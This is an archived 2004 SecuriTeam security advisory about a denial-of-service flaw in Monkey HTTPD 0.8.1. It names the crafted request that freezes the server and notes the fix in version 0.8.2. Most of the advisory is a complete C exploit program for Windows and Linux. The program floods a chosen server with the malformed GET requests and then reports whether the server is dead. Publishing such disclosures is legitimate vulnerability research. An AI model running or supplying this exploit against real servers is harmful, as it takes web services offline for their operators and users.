[UNIX] Monkey HTTPD Denial of Service

From: SecuriTeam (support_at_securiteam.com)
Date: 02/16/04

  • Next message: SecuriTeam: "[TOOL] Tcpick Tcp Stream Sniffer and Connection Tracker"
    To: list@securiteam.com
    Date: 16 Feb 2004 11:57:57 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Monkey HTTPD Denial of Service
    ------------------------------------------------------------------------

    SUMMARY

    " <http://monkeyd.sourceforge.net/> Monkey is a Web server written in C
    that works under Linux. This is an open source project based on the
    HTTP/1.1 protocol."

    The sending of a sequence of crafted HTTP requests leads to the freeze of
    the web server.

    DETAILS

    Vulnerable Systems:
     * Monkey HTTPD versions 0.8.1

    Immune Systems:
     * Monkey HTTPD versions 0.8.2

    The problem is located in the function get_real_string(). A malicious user
    can cause the server to DoS by issuing an HTTP GET request in the form of
    "GET /%%%%%%%%%%%% HTTP/1.0" for about 20 times.

    Vendor Status:
    The vulnerability was fixed in version 0.8.2 which can be downloaded from
    the vendor's site.

    Exploit Code:
    Below is an exploit code for both Windows and Linux. The source code
    requires winerr.h which is also given below.

    //monkeydos.c
    /*
    by Luigi Auriemma
    UNIX & WIN VERSION
    */

    #include < stdio.h>
    #include < stdlib.h>
    #include < string.h>

    #ifdef WIN32
        #include < winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include < unistd.h>
        #include < sys/socket.h>
        #include < sys/types.h>
        #include < arpa/inet.h>
        #include < netdb.h>
    #endif

    #define VER "0.1"
    #define PORT 2001
    #define MAX 20
    #define TIMEOUT 7
    #define REQ "GET /%%%%%%%%%%%% HTTP/1.0\r\n" \
                    "\r\n"
                    /* %%%%%%%%%%%% doesn't seem to be needed */
                    /* no "Host" = BOOM */

    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer;
        int sd,
                err,
                i;
        u_short port = PORT;

        setbuf(stdout, NULL);

        fputs("\n"
            "Monkey httpd < = 0.8.1 remote DoS "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@altervista.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\nUsage: %s < server> [port(%d)]\n"
                "\n", argv[0], PORT);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        if(argc > 2) port = atoi(argv[2]);

        peer.sin_addr.s_addr = resolv(argv[1]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        printf("\nConnections to %s:%hu\n",
            inet_ntoa(peer.sin_addr), port);

        for(i = 0; i < MAX; i++) {
            printf("%d\r", i);

            sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if(sd < 0) std_err();
            err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
            if(err < 0) std_err();
            err = send(sd, REQ, sizeof(REQ) - 1, 0);
            if(err < 0) std_err();
            close(sd);
        }

        printf("\n\n- Now I check if the server is dead (%d seconds):\n",
    TIMEOUT);

        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
        if(err < 0) std_err();
        err = send(sd, REQ, sizeof(REQ) - 1, 0);
        if(err < 0) std_err();
        err = timeout(sd);
        if(err < 0) {
            fputs("\n Server IS vulnerable!!!\n\n", stdout);
        } else {
            fputs("\n Server doesn't seem to be vulnerable\n\n", stdout);
        }
        close(sd);

        return(0);
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TIMEOUT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolve hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)(hp->h_addr);
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    //winerr.h
    /*
       Header file used for manage errors in Windows
       It support socket and errno too
       (this header replace the previous sock_errX.h)
    */

    #include < string.h>
    #include < errno.h>

    void std_err(void) {
        char *error;

        switch(WSAGetLastError()) {
            case 10004: error = "Interrupted system call"; break;
            case 10009: error = "Bad file number"; break;
            case 10013: error = "Permission denied"; break;
            case 10014: error = "Bad address"; break;
            case 10022: error = "Invalid argument (not bind)"; break;
            case 10024: error = "Too many open files"; break;
            case 10035: error = "Operation would block"; break;
            case 10036: error = "Operation now in progress"; break;
            case 10037: error = "Operation already in progress"; break;
            case 10038: error = "Socket operation on non-socket"; break;
            case 10039: error = "Destination address required"; break;
            case 10040: error = "Message too long"; break;
            case 10041: error = "Protocol wrong type for socket"; break;
            case 10042: error = "Bad protocol option"; break;
            case 10043: error = "Protocol not supported"; break;
            case 10044: error = "Socket type not supported"; break;
            case 10045: error = "Operation not supported on socket"; break;
            case 10046: error = "Protocol family not supported"; break;
            case 10047: error = "Address family not supported by protocol
    family"; break;
            case 10048: error = "Address already in use"; break;
            case 10049: error = "Can't assign requested address"; break;
            case 10050: error = "Network is down"; break;
            case 10051: error = "Network is unreachable"; break;
            case 10052: error = "Net dropped connection or reset"; break;
            case 10053: error = "Software caused connection abort"; break;
            case 10054: error = "Connection reset by peer"; break;
            case 10055: error = "No buffer space available"; break;
            case 10056: error = "Socket is already connected"; break;
            case 10057: error = "Socket is not connected"; break;
            case 10058: error = "Can't send after socket shutdown"; break;
            case 10059: error = "Too many references, can't splice"; break;
            case 10060: error = "Connection timed out"; break;
            case 10061: error = "Connection refused"; break;
            case 10062: error = "Too many levels of symbolic links"; break;
            case 10063: error = "File name too long"; break;
            case 10064: error = "Host is down"; break;
            case 10065: error = "No Route to Host"; break;
            case 10066: error = "Directory not empty"; break;
            case 10067: error = "Too many processes"; break;
            case 10068: error = "Too many users"; break;
            case 10069: error = "Disc Quota Exceeded"; break;
            case 10070: error = "Stale NFS file handle"; break;
            case 10091: error = "Network SubSystem is unavailable"; break;
            case 10092: error = "WINSOCK DLL Version out of range"; break;
            case 10093: error = "Successful WSASTARTUP not yet performed";
    break;
            case 10071: error = "Too many levels of remote in path"; break;
            case 11001: error = "Host not found"; break;
            case 11002: error = "Non-Authoritative Host not found"; break;
            case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED,
    NOTIMP"; break;
            case 11004: error = "Valid name, no data record of requested
    type"; break;
            default: error = strerror(errno); break;
        }
        fprintf(stderr, "\nError: %s\n", error);
        exit(1);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] Tcpick Tcp Stream Sniffer and Connection Tracker"

    Relevant Pages